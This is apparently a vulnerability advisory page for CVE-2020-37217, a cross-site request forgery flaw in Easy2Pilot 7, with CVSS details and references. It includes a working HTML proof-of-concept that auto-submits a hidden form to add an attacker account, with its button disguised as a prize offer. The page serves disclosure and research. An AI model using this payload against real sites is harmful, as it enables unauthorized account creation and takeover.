CVE-2020-37217

Description

Easy2Pilot 7 contains a cross-site request forgery vulnerability that allows attackers to add unauthorized user accounts by tricking authenticated administrators into visiting malicious pages. Attackers can craft HTML forms targeting the admin.php?action=add_user endpoint with POST requests containing username and password parameters to create new administrative accounts without explicit user consent.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Easy2Pilot 7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2020-37217 -->
<!-- Save this as an .html file and host it. When an admin visits it, a new user is created. -->
<html>
  <body>
    <form action="http://target-site/admin.php?action=add_user" method="POST">
      <input type="hidden" name="username" value="hacker" />
      <input type="hidden" name="password" value="P@ssw0rd!" />
      <input type="submit" value="Click to win prize" />
    </form>
    <script>
      // Automatically submit the form when the page loads
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-37217
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-37217
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-37217/
[4] VulDB https://vuldb.com/cve/CVE-2020-37217
[5] http://easy2pilot-v7.com/
[6] https://www.exploit-db.com/exploits/48099
[7] https://www.vulncheck.com/advisories/easy2pilot-7-cross-site-request-forgery-via-admin-php

Raw JSON Data

JSON

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